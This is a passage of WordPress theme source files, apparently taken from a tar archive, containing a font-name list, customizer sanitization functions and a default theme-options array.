			'Ledger' => 'Ledger',
			'Lekton' => 'Lekton',
			'Lemon' => 'Lemon',
			'Libre Baskerville' => 'Libre Baskerville',
			'Life Savers' => 'Life Savers',
			'Lilita One' => 'Lilita One',
			'Lily Script One' => 'Lily Script One',
			'Limelight' => 'Limelight',
			'Linden Hill' => 'Linden Hill',
			'Lobster' => 'Lobster',
			'Lobster Two' => 'Lobster Two',
			'Londrina Outline' => 'Londrina Outline',
			'Londrina Shadow' => 'Londrina Shadow',
			'Londrina Sketch' => 'Londrina Sketch',
			'Londrina Solid' => 'Londrina Solid',
			'Lora' => 'Lora',
			'Love Ya Like A Sister' => 'Love Ya Like A Sister',
			'Loved by the King' => 'Loved by the King',
			'Lovers Quarrel' => 'Lovers Quarrel',
			'Luckiest Guy' => 'Luckiest Guy',
			'Lusitana' => 'Lusitana',
			'Lustria' => 'Lustria',
			'Macondo' => 'Macondo',
			'Macondo Swash Caps' => 'Macondo Swash Caps',
			'Magra' => 'Magra',
			'Maiden Orange' => 'Maiden Orange',
			'Mako' => 'Mako',
			'Mallanna' => 'Mallanna',
			'Mandali' => 'Mandali',
			'Marcellus' => 'Marcellus',
			'Marcellus SC' => 'Marcellus SC',
			'Marck Script' => 'Marck Script',
			'Margarine' => 'Margarine',
			'Marko One' => 'Marko One',
			'Marmelad' => 'Marmelad',
			'Marvel' => 'Marvel',
			'Mate' => 'Mate',
			'Mate SC' => 'Mate SC',
			'Maven Pro' => 'Maven Pro',
			'McLaren' => 'McLaren',
			'Meddon' => 'Meddon',
			'MedievalSharp' => 'MedievalSharp',
			'Medula One' => 'Medula One',
			'Megrim' => 'Megrim',
			'Meie Script' => 'Meie Script',
			'Merienda' => 'Merienda',
			'Merienda One' => 'Merienda One',
			'Merriweather' => 'Merriweather',
			'Merriweather Sans' => 'Merriweather Sans',
			'Metal' => 'Metal',
			'Metal Mania' => 'Metal Mania',
			'Metamorphous' => 'Metamorphous',
			'Metrophobic' => 'Metrophobic',
			'Michroma' => 'Michroma',
			'Milonga' => 'Milonga',
			'Miltonian' => 'Miltonian',
			'Miltonian Tattoo' => 'Miltonian Tattoo',
			'Miniver' => 'Miniver',
			'Miss Fajardose' => 'Miss Fajardose',
			'Modern Antiqua' => 'Modern Antiqua',
			'Molengo' => 'Molengo',
			'Molle' => 'Molle',
			'Monda' => 'Monda',
			'Monofett' => 'Monofett',
			'Monoton' => 'Monoton',
			'Monsieur La Doulaise' => 'Monsieur La Doulaise',
			'Montaga' => 'Montaga',
			'Montez' => 'Montez',
			'Montserrat' => 'Montserrat',
			'Montserrat Alternates' => 'Montserrat Alternates',
			'Montserrat Subrayada' => 'Montserrat Subrayada',
			'Moul' => 'Moul',
			'Moulpali' => 'Moulpali',
			'Mountains of Christmas' => 'Mountains of Christmas',
			'Mouse Memoirs' => 'Mouse Memoirs',
			'Mr Bedfort' => 'Mr Bedfort',
			'Mr Dafoe' => 'Mr Dafoe',
			'Mr De Haviland' => 'Mr De Haviland',
			'Mrs Saint Delafield' => 'Mrs Saint Delafield',
			'Mrs Sheppards' => 'Mrs Sheppards',
			'Muli' => 'Muli',
			'Mystery Quest' => 'Mystery Quest',
			'NTR' => 'NTR',
			'Neucha' => 'Neucha',
			'Neuton' => 'Neuton',
			'New Rocker' => 'New Rocker',
			'News Cycle' => 'News Cycle',
			'Niconne' => 'Niconne',
			'Nixie One' => 'Nixie One',
			'Nobile' => 'Nobile',
			'Nokora' => 'Nokora',
			'Norican' => 'Norican',
			'Nosifer' => 'Nosifer',
			'Nothing You Could Do' => 'Nothing You Could Do',
			'Noticia Text' => 'Noticia Text',
			'Noto Sans' => 'Noto Sans',
			'Noto Serif' => 'Noto Serif',
			'Nova Cut' => 'Nova Cut',
			'Nova Flat' => 'Nova Flat',
			'Nova Mono' => 'Nova Mono',
			'Nova Oval' => 'Nova Oval',
			'Nova Round' => 'Nova Round',
			'Nova Script' => 'Nova Script',
			'Nova Slim' => 'Nova Slim',
			'Nova Square' => 'Nova Square',
			'Numans' => 'Numans',
			'Nunito' => 'Nunito',
			'Odor Mean Chey' => 'Odor Mean Chey',
			'Offside' => 'Offside',
			'Old Standard TT' => 'Old Standard TT',
			'Oldenburg' => 'Oldenburg',
			'Oleo Script' => 'Oleo Script',
			'Oleo Script Swash Caps' => 'Oleo Script Swash Caps',
			'Open Sans' => 'Open Sans',
			'Open Sans Condensed' => 'Open Sans Condensed',
			'Oranienbaum' => 'Oranienbaum',
			'Orbitron' => 'Orbitron',
			'Oregano' => 'Oregano',
			'Orienta' => 'Orienta',
			'Original Surfer' => 'Original Surfer',
			'Oswald' => 'Oswald',
			'Over the Rainbow' => 'Over the Rainbow',
			'Overlock' => 'Overlock',
			'Overlock SC' => 'Overlock SC',
			'Ovo' => 'Ovo',
			'Oxygen' => 'Oxygen',
			'Oxygen Mono' => 'Oxygen Mono',
			'PT Mono' => 'PT Mono',
			'PT Sans' => 'PT Sans',
			'PT Sans Caption' => 'PT Sans Caption',
			'PT Sans Narrow' => 'PT Sans Narrow',
			'PT Serif' => 'PT Serif',
			'PT Serif Caption' => 'PT Serif Caption',
			'Pacifico' => 'Pacifico',
			'Paprika' => 'Paprika',
			'Parisienne' => 'Parisienne',
			'Passero One' => 'Passero One',
			'Passion One' => 'Passion One',
			'Pathway Gothic One' => 'Pathway Gothic One',
			'Patrick Hand' => 'Patrick Hand',
			'Patrick Hand SC' => 'Patrick Hand SC',
			'Patua One' => 'Patua One',
			'Paytone One' => 'Paytone One',
			'Peddana' => 'Peddana',
			'Peralta' => 'Peralta',
			'Permanent Marker' => 'Permanent Marker',
			'Petit Formal Script' => 'Petit Formal Script',
			'Petrona' => 'Petrona',
			'Philosopher' => 'Philosopher',
			'Piedra' => 'Piedra',
			'Pinyon Script' => 'Pinyon Script',
			'Pirata One' => 'Pirata One',
			'Plaster' => 'Plaster',
			'Play' => 'Play',
			'Playball' => 'Playball',
			'Playfair Display' => 'Playfair Display',
			'Playfair Display SC' => 'Playfair Display SC',
			'Podkova' => 'Podkova',
			'Poiret One' => 'Poiret One',
			'Poller One' => 'Poller One',
			'Poly' => 'Poly',
			'Pompiere' => 'Pompiere',
			'Pontano Sans' => 'Pontano Sans',
			'Port Lligat Sans' => 'Port Lligat Sans',
			'Port Lligat Slab' => 'Port Lligat Slab',
			'Prata' => 'Prata',
			'Preahvihear' => 'Preahvihear',
			'Press Start 2P' => 'Press Start 2P',
			'Princess Sofia' => 'Princess Sofia',
			'Prociono' => 'Prociono',
			'Prosto One' => 'Prosto One',
			'Puritan' => 'Puritan',
			'Purple Purse' => 'Purple Purse',
			'Quando' => 'Quando',
			'Quantico' => 'Quantico',
			'Quattrocento' => 'Quattrocento',
			'Quattrocento Sans' => 'Quattrocento Sans',
			'Questrial' => 'Questrial',
			'Quicksand' => 'Quicksand',
			'Quintessential' => 'Quintessential',
			'Qwigley' => 'Qwigley',
			'Racing Sans One' => 'Racing Sans One',
			'Radley' => 'Radley',
			'Rajdhani' => 'Rajdhani',
			'Raleway' => 'Raleway',
			'Raleway Dots' => 'Raleway Dots',
			'Ramabhadra' => 'Ramabhadra',
			'Ramaraja' => 'Ramaraja',
			'Rambla' => 'Rambla',
			'Rammetto One' => 'Rammetto One',
			'Ranchers' => 'Ranchers',
			'Rancho' => 'Rancho',
			'Rationale' => 'Rationale',
			'Ravi Prakash' => 'Ravi Prakash',
			'Redressed' => 'Redressed',
			'Reenie Beanie' => 'Reenie Beanie',
			'Revalia' => 'Revalia',
			'Ribeye' => 'Ribeye',
			'Ribeye Marrow' => 'Ribeye Marrow',
			'Righteous' => 'Righteous',
			'Risque' => 'Risque',
			'Roboto' => 'Roboto',
			'Roboto Condensed' => 'Roboto Condensed',
			'Roboto Slab' => 'Roboto Slab',
			'Rochester' => 'Rochester',
			'Rock Salt' => 'Rock Salt',
			'Rokkitt' => 'Rokkitt',
			'Romanesco' => 'Romanesco',
			'Ropa Sans' => 'Ropa Sans',
			'Rosario' => 'Rosario',
			'Rosarivo' => 'Rosarivo',
			'Rouge Script' => 'Rouge Script',
			'Rozha One' => 'Rozha One',
			'Rubik Mono One' => 'Rubik Mono One',
			'Rubik One' => 'Rubik One',
			'Ruda' => 'Ruda',
			'Rufina' => 'Rufina',
			'Ruge Boogie' => 'Ruge Boogie',
			'Ruluko' => 'Ruluko',
			'Rum Raisin' => 'Rum Raisin',
			'Ruslan Display' => 'Ruslan Display',
			'Russo One' => 'Russo One',
			'Ruthie' => 'Ruthie',
			'Rye' => 'Rye',
			'Sacramento' => 'Sacramento',
			'Sail' => 'Sail',
			'Salsa' => 'Salsa',
			'Sanchez' => 'Sanchez',
			'Sancreek' => 'Sancreek',
			'Sansita One' => 'Sansita One',
			'Sarina' => 'Sarina',
			'Sarpanch' => 'Sarpanch',
			'Satisfy' => 'Satisfy',
			'Scada' => 'Scada',
			'Schoolbell' => 'Schoolbell',
			'Seaweed Script' => 'Seaweed Script',
			'Sevillana' => 'Sevillana',
			'Seymour One' => 'Seymour One',
			'Shadows Into Light' => 'Shadows Into Light',
			'Shadows Into Light Two' => 'Shadows Into Light Two',
			'Shanti' => 'Shanti',
			'Share' => 'Share',
			'Share Tech' => 'Share Tech',
			'Share Tech Mono' => 'Share Tech Mono',
			'Shojumaru' => 'Shojumaru',
			'Short Stack' => 'Short Stack',
			'Siemreap' => 'Siemreap',
			'Sigmar One' => 'Sigmar One',
			'Signika' => 'Signika',
			'Signika Negative' => 'Signika Negative',
			'Simonetta' => 'Simonetta',
			'Sintony' => 'Sintony',
			'Sirin Stencil' => 'Sirin Stencil',
			'Six Caps' => 'Six Caps',
			'Skranji' => 'Skranji',
			'Slabo 13px' => 'Slabo 13px',
			'Slabo 27px' => 'Slabo 27px',
			'Slackey' => 'Slackey',
			'Smokum' => 'Smokum',
			'Smythe' => 'Smythe',
			'Sniglet' => 'Sniglet',
			'Snippet' => 'Snippet',
			'Snowburst One' => 'Snowburst One',
			'Sofadi One' => 'Sofadi One',
			'Sofia' => 'Sofia',
			'Sonsie One' => 'Sonsie One',
			'Sorts Mill Goudy' => 'Sorts Mill Goudy',
			'Source Code Pro' => 'Source Code Pro',
			'Source Sans Pro' => 'Source Sans Pro',
			'Source Serif Pro' => 'Source Serif Pro',
			'Special Elite' => 'Special Elite',
			'Spicy Rice' => 'Spicy Rice',
			'Spinnaker' => 'Spinnaker',
			'Spirax' => 'Spirax',
			'Squada One' => 'Squada One',
			'Sree Krushnadevaraya' => 'Sree Krushnadevaraya',
			'Stalemate' => 'Stalemate',
			'Stalinist One' => 'Stalinist One',
			'Stardos Stencil' => 'Stardos Stencil',
			'Stint Ultra Condensed' => 'Stint Ultra Condensed',
			'Stint Ultra Expanded' => 'Stint Ultra Expanded',
			'Stoke' => 'Stoke',
			'Strait' => 'Strait',
			'Sue Ellen Francisco' => 'Sue Ellen Francisco',
			'Sunshiney' => 'Sunshiney',
			'Supermercado One' => 'Supermercado One',
			'Suranna' => 'Suranna',
			'Suravaram' => 'Suravaram',
			'Suwannaphum' => 'Suwannaphum',
			'Swanky and Moo Moo' => 'Swanky and Moo Moo',
			'Syncopate' => 'Syncopate',
			'Tangerine' => 'Tangerine',
			'Taprom' => 'Taprom',
			'Tauri' => 'Tauri',
			'Teko' => 'Teko',
			'Telex' => 'Telex',
			'Tenali Ramakrishna' => 'Tenali Ramakrishna',
			'Tenor Sans' => 'Tenor Sans',
			'Text Me One' => 'Text Me One',
			'The Girl Next Door' => 'The Girl Next Door',
			'Tienne' => 'Tienne',
			'Timmana' => 'Timmana',
			'Tinos' => 'Tinos',
			'Titan One' => 'Titan One',
			'Titillium Web' => 'Titillium Web',
			'Trade Winds' => 'Trade Winds',
			'Trocchi' => 'Trocchi',
			'Trochut' => 'Trochut',
			'Trykker' => 'Trykker',
			'Tulpen One' => 'Tulpen One',
			'Ubuntu' => 'Ubuntu',
			'Ubuntu Condensed' => 'Ubuntu Condensed',
			'Ubuntu Mono' => 'Ubuntu Mono',
			'Ultra' => 'Ultra',
			'Uncial Antiqua' => 'Uncial Antiqua',
			'Underdog' => 'Underdog',
			'Unica One' => 'Unica One',
			'UnifrakturCook' => 'UnifrakturCook',
			'UnifrakturMaguntia' => 'UnifrakturMaguntia',
			'Unkempt' => 'Unkempt',
			'Unlock' => 'Unlock',
			'Unna' => 'Unna',
			'VT323' => 'VT323',
			'Vampiro One' => 'Vampiro One',
			'Varela' => 'Varela',
			'Varela Round' => 'Varela Round',
			'Vast Shadow' => 'Vast Shadow',
			'Vesper Libre' => 'Vesper Libre',
			'Vibur' => 'Vibur',
			'Vidaloka' => 'Vidaloka',
			'Viga' => 'Viga',
			'Voces' => 'Voces',
			'Volkhov' => 'Volkhov',
			'Vollkorn' => 'Vollkorn',
			'Voltaire' => 'Voltaire',
			'Waiting for the Sunrise' => 'Waiting for the Sunrise',
			'Wallpoet' => 'Wallpoet',
			'Walter Turncoat' => 'Walter Turncoat',
			'Warnes' => 'Warnes',
			'Wellfleet' => 'Wellfleet',
			'Wendy One' => 'Wendy One',
			'Wire One' => 'Wire One',
			'Yanone Kaffeesatz' => 'Yanone Kaffeesatz',
			'Yellowtail' => 'Yellowtail',
			'Yeseva One' => 'Yeseva One',
			'Yesteryear' => 'Yesteryear',
			'Zeyada' => 'Zeyada'
		);
		return $fonts;
	}
}pmgizmo/inc/customizer/functions/.htaccess000064400000000000152223213640014777 0ustar00pmgizmo/inc/customizer/functions/sanitize-functions.php000064400000017712152223213640017570 0ustar00<?php
/** Theme Customizer Functions */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
/*========================== CUSTOMIZER SANITIZE FUNCTIONS ==========================*/
// Sanitize the predefined theme styles.
function pmthemes_sanitize_theme_styles( $value ) {
    if ( ! in_array( $value, array('colors', 'bermuda', 'berry', 'black', 'blackberry', 'bluelights', 'blacknblue', 'blue', 'blueairforce', 'blueberry', 'blueline', 'blues', 'carrotman', 'charcoal', 'chocoberry', 'chocolate', 'cobalt', 'coolblue', 'cottoncandy', 'countryside', 'crimson', 'deepblue', 'fairytail', 'fernland', 'fruitella', 'golden', 'green', 'greenline', 'greengray', 'greyorange', 'magenta', 'orange', 'orangefox', 'orangeline', 'orangina', 'pastel-blue', 'pink', 'pinkish', 'pinkpoodle', 'pinkred', 'pinky', 'pomegranate', 'purplegreen', 'purplehaze', 'red', 'redhotchilipepper', 'rednblue', 'redocean', 'redrock', 'redrose', 'redslate', 'salsa', 'showtime', 'simplewish', 'skylight', 'springtime', 'starrynights', 'teblugre', 'tequilasun', 'walruspink', 'white'), true ) ) :
        $value = 'colors';
    endif;
    return $value;
}
// Sanitize checkboxes
function pmthemes_sanitize_checkbox( $value ) {
    if ( $value == 1) :
        return 1;
    else:
        return '';
    endif;
}
// Sanitize the layout width value.
function pmthemes_sanitize_layout_width( $value ) {
    if ( ! in_array( $value, array( 'boxed', 'wide' ), true ) ) :
        $value = 'boxed';
    endif;
    return $value;
}
// Sanitize the top header location
function pmthemes_sanitize_topnav_align( $value ) {
    if ( ! in_array( $value, array( 'top-menu-left', 'top-menu-right'), true ) ) :
        $value = 'top-menu-left';
    endif;
    return $value;
}
// Sanitize the main header location
function pmthemes_sanitize_main_nav_loc( $value ) {
    if ( ! in_array( $value, array( 'main-menu-below', 'main-menu-header'), true ) ) :
        $value = 'main-menu-below';
    endif;
    return $value;
}
// Sanitize the top bar location
function pmthemes_sanitize_top_bar_loc( $value ) {
    if ( ! in_array( $value, array( 'top-bar-most', 'top-bar-under'), true ) ) :
        $value = 'top-bar-most';
    endif;
    return $value;
}
// Gradient Direction
function pmthemes_sanitize_gradient_direction( $value ) {
    if ( ! in_array( $value, array( 'to bottom', 'to right', 'to top', 'to left'), true ) ) :
        $value = 'to bottom';
    endif;
    return $value;
}
// Sanitize relates posts order
function pmthemes_sanitize_related_post_order( $value ) {
    if ( ! in_array( $value, array('latest-posts', 'old-posts', 'random-posts'), true ) ) :
        $value = 'latest-posts';
    endif;
    return $value;
}
// Sanitize the layout sidebar value.
function pmthemes_sanitize_layout( $value ) {
    if ( ! in_array( $value, array('left-sidebar', 'right-sidebar', 'fullwidth' ), true ) ) :
        $value = 'right-sidebar';
    endif;
    return $value;
}
// Sanitize the WC shop page layout value.
function pmthemes_sanitize_wc_layout( $value ) {
    if ( ! in_array( $value, array('wc_full_page', 'wc_show_sbar'), true ) ) :
        $value = 'wc_full_page';
    endif;
    return $value;
}
// Sanitize the theme style value.
function pmthemes_sanitize_theme_style( $value ) {
    if ( ! in_array( $value, array('boxed-one', 'wide-head' ), true ) ) :
        $value = 'boxed-one';
    endif;
    return $value;
}
// Sanitize the related post style value.
function pmthemes_sanitize_related_post_style( $value ) {
    if ( ! in_array( $value, array('four-cols', 'three-cols', 'two-cols', 'simple-list'), true ) ) :
        $value = 'four-cols';
    endif;
    return $value;
}
// Sanitize the grid with value.
function pmthemes_sanitize_pmth_grid_width( $value ) {
    if ( ! in_array( $value, array('one-column', 'one-hundred', 'one-fifty', 'two-hundred', 'two-fifty', 'three-hundred', 'three-fifty', 'four-hundred', 'four-fifty ', 'five-hundred'), true ) ) :
        $value = 'one-column';
    endif;
    return $value;
}
// Sanitize grid columns.
function pmthemes_sanitize_pmth_grid_column( $value ) {
    if ( ! in_array( $value, array('one-col', 'two-col', 'three-col', 'four-col', 'five-col', 'six-col', 'seven-col', 'eight-col', 'nine-col', 'ten-col', 'eleven-col', 'twelve-col'), true ) ) :
        $value = 'one-col';
    endif;
    return $value;
}
// Sanitize align images.
function pmthemes_sanitize_align_images( $value ) {
    if ( ! in_array( $value, array('alignleft', 'alignright', 'aligncenter', 'alignnone'), true ) ) :
        $value = 'alignleft';
    endif;
    return $value;
}
// Sanitize align elements.
function pmthemes_sanitize_align_elements( $value ) {
    if ( ! in_array( $value, array('pmthleft', 'pmthrigth', 'pmthcenter', 'pmthjustify', 'pmthnone'  ), true ) ) :
        $value = 'pmthleft';
    endif;
    return $value;
}
// Sanitize grid column option.
function pmthemes_sanitize_grid_col_opt( $value ) {
    if ( ! in_array( $value, array( 'pmth-grid-coln', 'pmth-grid-itmw'  ), true ) ) :
        $value = 'pmth-grid-itmw';
    endif;
    return $value;
}
// Sanitize image size.
function pmthemes_sanitize_image_size( $value ) {
    if ( ! in_array( $value, array( 'pmth-img-large', 'pmth-img-thumb'  ), true ) ) :
        $value = 'pmth-img-thumb';
    endif;
    return $value;
}
// Sanitize the theme width value.
function pmthemes_sanitize_theme_width( $value ) {
    if ( ! in_array( $value, array( 'wd1', 'wd2', 'wd3', 'wd4', 'wd5', 'wd6', 'wd7', 'wd8', 'wd9', 'wd10'), true ) ) :
        $value = 'wd1';
    endif;
    return $value;
}
// Sanitize the footer widgets value.
function pmthemes_sanitize_fwidgets( $value ) {
    if ( ! in_array( $value, array( '0', '1', '2', '3', '4'), true ) ) :
        $value = '3';
    endif;
    return $value;
}
// Sanitize the post length value.
function pmthemes_sanitize_post_length( $value ) {
    if ( ! in_array( $value, array( 'excerpt', 'fullpost'  ), true ) ) :
        $value = 'excerpt';
    endif;
    return $value;
}
// Sanitize the slider animation value.
function pmthemes_sanitize_slider_animation( $value ) {
    if ( ! in_array( $value, array( 'horizontal', 'fade' ), true ) ) :
        $value = 'horizontal';
    endif;
    return $value;
}
// Sanitize footer content textarea
function pmthemes_sanitize_footer_text( $value ) {
    if ( current_user_can('unfiltered_html') ) :
        return $value;
    else :
        return stripslashes( wp_filter_post_kses( addslashes($value) ) );
    endif;
}
// Sanitize header code textarea
function pmthemes_sanitize_header_code( $value ) {
    if ( current_user_can('unfiltered_html') ) :
        return $value;
    else :
        return stripslashes( wp_filter_post_kses( addslashes($value) ) );
    endif;
}
// Sanitize footer code textarea
function pmthemes_sanitize_track_code( $value ) {
    if ( current_user_can('unfiltered_html') ) :
        return $value;
    else :
        return stripslashes( wp_filter_post_kses( addslashes($value) ) );
    endif;
}
// Sanitize read more content textarea
function pmthemes_sanitize_read_text( $value ) {
    if ( current_user_can('filtered_html') ) :
        return $value;
    else :
        return stripslashes( wp_filter_post_kses( ($value) ) );
    endif;
}
// Sanitize available fonts value.
function pmthemes_sanitize_available_fonts( $value ) {
    if ( ! in_array( $value, array( 'default', 'favorites', 'popular', 'all' ), true ) ) :
        $value = 'favorites';
    endif;
    return $value;
}
function pmthemes_sanitize_number( $value ) {
    return is_numeric( $value ) ? $value : 0;
}
function pmthemes_sanitize_number_blank( $val ) {
    return is_numeric( $val ) ? $val : '';
}
function pmthemes_sanitize_decimal_int( $input ) {
    return abs( floatval( $input ) );
}
function pmthemes_sanitize_decimal_int_empty( $input ) {
    if ( '' == $input ) {
        return '';
    }
    return abs( floatval( $input ) );
}pmgizmo/inc/customizer/.htaccess000064400000000000152223213640012767 0ustar00pmgizmo/inc/customizer/default-options.php000064400000026421152223213640015036 0ustar00<?php
/**
 * Returns theme options
 *
 * Uses sane defaults in case the user has not configured any theme options yet.
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Return theme options
function pmthemes_theme_options() {
    
	// Merge Theme Options Array from Database with Default Options Array
	$theme_options = wp_parse_args( 
		
		// Get saved theme options from WP database
		get_option( 'pmthemes_theme_options', array() ), 
		
		// Merge with Default Options if setting was not saved yet
		pmthemes_default_options() 
		
	);
	// Return theme options
	return $theme_options;
}
// Build default options array
function pmthemes_default_options() {
	$default_options = array(
	    // General Colors
        'general_bg_color' 					=> '#3c3c3c',
        'gen_head_font_color' 				=> '#f9f9f9',
        'gen_head_border_color' 			=> '#e5e5e5',
        'body_borders_color' 			    => '#f9f9f9',
        'default_text_color' 			    => '#111111',
        'link_color' 			            => '#0066cc',
        'sctop_bg_color' 			        => '#414141',
        'sctop_arrow_color' 			    => '#ffffff',
        'sctop_brdr_color' 			        => '#646464',
        'sctop_hover_color' 			    => '#121212',
        'cmbtn_bg_color' 			        => '#003640',
        'cmbtn_text_color' 			        => '#f9f9f9',
        'cmbtn_btn_hover' 			        => '#121212',
        'gen_check_yes'					    => true,
        'gen_check_no'					    => false,

        // Font Style
        'text_font' 						=> 'Arial',
        'site_title_font' 					=> 'Helvetica',
        'title_font' 						=> 'Arial',
        'navi_font' 						=> 'Arial',
        'widget_title_font' 				=> 'Arial',
        'available_fonts'					=> 'default',

        // Layouts
        'no_body_padding'					=> false,
        'no_body_margin'                    => false,
        'no_body_border'                    => false,
        'layout' 							=> 'right-sidebar',
        'pmth_wc_shop_lyt' 					=> 'wc_full_page',
        'theme_width' 						=> 'wd1',
        'theme_style' 						=> 'boxed-one',
        'theme_styles' 						=> 'colors',
        'wrapper_color' 			        => '#ffffff',

        // Header Settings
        'header_logo' 						=> '',
        'header_padding'					=> false,
        'header_tagline' 					=> false,
        'header_search' 					=> false,
        'header_icons' 						=> true,
        'header_adjust'					    => false,
        'header_gradient_enable'			=> false,

        'site_title_color' 			        => '#3c3c3c',
        'site_title_shadow' 			    => '#222',
        'site_title_shadis'				    => true,
        'title_font_size'					=> '49.5',
        'title_font_size_mobile'			=> '29.5',
        'title_font_space'					=> '3.05',
        'title_describe_size'				=> '12.5',
        'logo_title_width'					=> '37.55',
        'header_banner_width'				=> '61.55',

        'header_topbo_height'				=> '3',
        'header_bottom_bor_height'			=> '3',
        'headline_top_bor_height'			=> '15',

        'header_line_enable' 				=> true,
        'header_padding_top'			    => '1',
        'header_padding_right'  			=> '1',
        'header_padding_bottom' 			=> '1',
        'header_padding_left'   			=> '1',
        
        'header_bg_color' 			        => '#f9f9f9',
        'header_backgr' 			        => '#f9f9f9',
        'header_grad_ient' 			        => '#ffffff',
        'header_topbo' 			            => '#e5e5e5',
        'header_bottom_border' 			    => '#e5e5e5',
        'headline_top_border' 			    => '#333332',
        'headline_bottom_border' 			=> '#777772',
        'site_tagline_color' 			    => '#444442',
        'header_gr_dir' 				    => 'to bottom',

        // Top Bar Settings
        'topbar_show' 						=> false,
        'top_bar_loc' 						=> 'top-bar-most',
        'topbar_date' 						=> true,
        'topbar_icons' 						=> true,
        'top_bar_bg' 			            => '#777777',
        'top_bar_top_border' 			    => '#f9f9f9',
        'top_bar_bottom_border' 			=> '#f9f9f9',
        'top_bar_font_color' 			    => '#f9f9f9',


        // Top Nav Settings
        'topnav_down' 						=> true,
        'topnav_align' 						=> 'top-menu-left',
        'topnav_color' 			            => '#373c43',
        'topnav_current' 			        => '#4a525d',
        'topnav_hover' 			            => '#121212',
        'topnav_dropdown' 			        => '#303030',
        'topnav_drophov' 			        => '#121212',
        'topnav_dropbor' 			        => '#777777',
        'topmenu_font_size'   			    => '0.95',
        'topmenu_bar_padding'   			=> '0.95',

        // Main Nav Settings
        'navi_border_enable'				=> false,
        'navi_dropdown_noborder'			=> false,
        'search_icon' 						=> true,
        'no_drpdown_ind' 					=> false,
        'pmth_merge_menus' 			        => false,
        'navi_top_bd_enb' 			        => true,
        'navi_bot_bd_enb' 			        => true,
        'navi_top_bd_clr' 					=> '#c9c9c9',
        'navi_bot_bd_clr' 			        => '#c9c9c9',
        'navi_top_bd_hei' 					=> '3',
        'navi_bot_bd_hei' 			        => '3',

        'gen_nav_font_color' 				=> '#f9f9f9',
        'navi_border' 					    => '#797979',
        'navi_color' 					    => '#3c3c3c',
        'navi_hover' 					    => '#121212',
        'navi_dropdown' 					=> '#303030',
        'navi_drophov' 					    => '#303030',
        'navi_dropdown_border' 			    => '#777777',
        'mainmenu_font_size'   			    => '1.15',
        'mainmenu_bar_padding'   			=> '0.75',
        'nav_on_header'				        => 'main-menu-below',

        // Sticky Nav Settings
        'sticky_navi' 						=> 0,

        // Home Page Settings
        'frontbar_font_clr' 			    => '#ffffff',
        'frontbar_bg_color' 			    => '#3c3c3c',
        'front_header_bg_color' 			=> '',
        'front_header_top_border' 			=> '',
        'front_header_bot_border' 			=> '',
        'fpbar_font_pad_top'			    => '12',
        'fpbar_font_pad_right'  			=> '16',
        'fpbar_font_pad_bottom' 			=> '12',
        'fpbar_font_pad_left'   			=> '16',

        'frontbar_font_size'			    => '1.15',
        'front_page_fonts_size'			    => '1.35',
        'front_page_font_size'			    => '1.05',
        'front_posts_font_size'			    => '0.55',

        // Slider Settings
        'slider_activated_front_page' 		=> 1,
        'show_slider_content' 				=> 1,
        'slider_activated_blog' 			=> 0,
        'sldr_title_clr' 			        => '#f9f9f9',
        'sldr_text_clr' 			        => '#f9f9f9',
        'sldr_bg_clr' 			            => '',
        'sldr_arrow_clr' 			        => '#f9f9f9',
        'sldr_arrow_bg_clr' 			    => '#ffffff',
        'sldr_border_clr' 			        => '',

        // Post Settings
        'title_color' 			            => '#3c3c3c',
        'show_post_dates'					=> false,
        'show_post_author'					=> true,
        'show_post_category'				=> true,
        'hide_post_comment'					=> false,
        'post_thumbnails_index'				=> true,
        'post_thumbnails_single' 			=> false,
        'posts_title_font_size'   			=> '1.95',
        'product_title_font_size'   	    => '1.95',
        'entry_font_sizes'   			    => '1.05',

        // Sidebar Settings
        'widget_title_color' 			    => '#ffffff',
        'widget_header_color' 			    => '#3c3c3c',
        'sidebar_background' 			    => '#f3f3f3',
        'widget_link_color' 			    => '#3c3c3c',
        'widget_text_color' 			    => '#3c3c3c',
        'widget_post_meta_clr' 			    => '#777777',
        'widget_backgr_color' 			    => '#ffffff',
        'sidebar_grad_ient' 			    => '#ffffff',
        'widget_header_bg_color' 			=> '',
        'widget_header_top_border' 			=> '',
        'widget_header_bot_border' 			=> '',
        'sidebar_border_color' 			    => '',
        'sidebar_border_thick' 			    => '1',
        'sidebar_padding_top'			    => '1',
        'sidebar_padding_right'  			=> '1',
        'sidebar_padding_bottom' 			=> '1',
        'sidebar_padding_left'   			=> '1',

        'sidebar_font_pad_top'			    => '12',
        'sidebar_font_pad_right'  			=> '16',
        'sidebar_font_pad_bottom' 			=> '12',
        'sidebar_font_pad_left'   			=> '16',

        'side_bar_heights'				    => false,
        'sidebar_padding_adjust'			=> false,
        'widget_header_styling'			    => false,
        'show_sidebar_border'			    => false,
        'slider_animation' 					=> 'fade',
        'sidecon_width' 			        => '31.33',
        'wgtbar_font_size' 			        => '1.15',
        'wgt_bar_padding' 			        => '0.5',
        'tabbed_font_size' 			        => '0.825',
        'sidebar_gr_dir' 				    => 'to bottom',

        // Tabbed Settings
        'tabbed_bg_color' 			        => '#ffffff',
        'tabbed_header_color' 			    => '#3c3c3c',
        'tabbed_hdtl_color' 			    => '#ffffff',
        'tabbed_linked_color' 			    => '#3c3c3c',
        'tabbed_post_meta_clr' 			    => '#777777',
        'side_tabbed_padding' 			    => '0.75',

        // Footer Widgets Settings
        'footer_widgets_color' 			    => '#333333',
        'footer_each_widget' 			    => '#3c3c3c',
        'footer_widgets_header_bg' 			=> '#3c3c3c',
        'fwidget_grad_ient' 			    => '#ffffff',
        'footer_widgets_texts' 			    => '#cccccc',
        'footer_widgets_pltxt' 			    => '#ffffff',
        'fwidgets'							=> '3',
        'fwidget_gr_dir' 				    => 'to bottom',

        // Footer Settings
        'footer_text'						=> '',
        'track_code'						=> '',
        'footer_texts_borders' 			    => '#454444',
        'footer_texts_colol' 			    => '#c6c6c6',
        'footer_color' 			            => '#121212',
        'footer_top_brdr' 			        => '#454444',
        'footer_bottom_brdr' 			    => '#454444',
        'footer_top_brdr_hei' 			    => '1',
        'footer_bot_brdr_hei' 			    => '1',

        // Related Posts
        'related_post_order' 				=> 'latest-posts',
        'related_posts_single' 				=> false,
        'related_posts_thumb' 				=> true,
        'related_posts_excerpt' 			=> false,
        'related_post_count' 				=> '4',
        'related_post_style' 				=> 'four-cols',
        'related_header_title'				=> 'Related Posts',
        'related_excerpt_length'			=> '55',

        // Archive Settings
        'pmth_grid_col_opt'	                => 'pmth-grid-itmw',
        'pmthemes_display_fullw'		    => false,
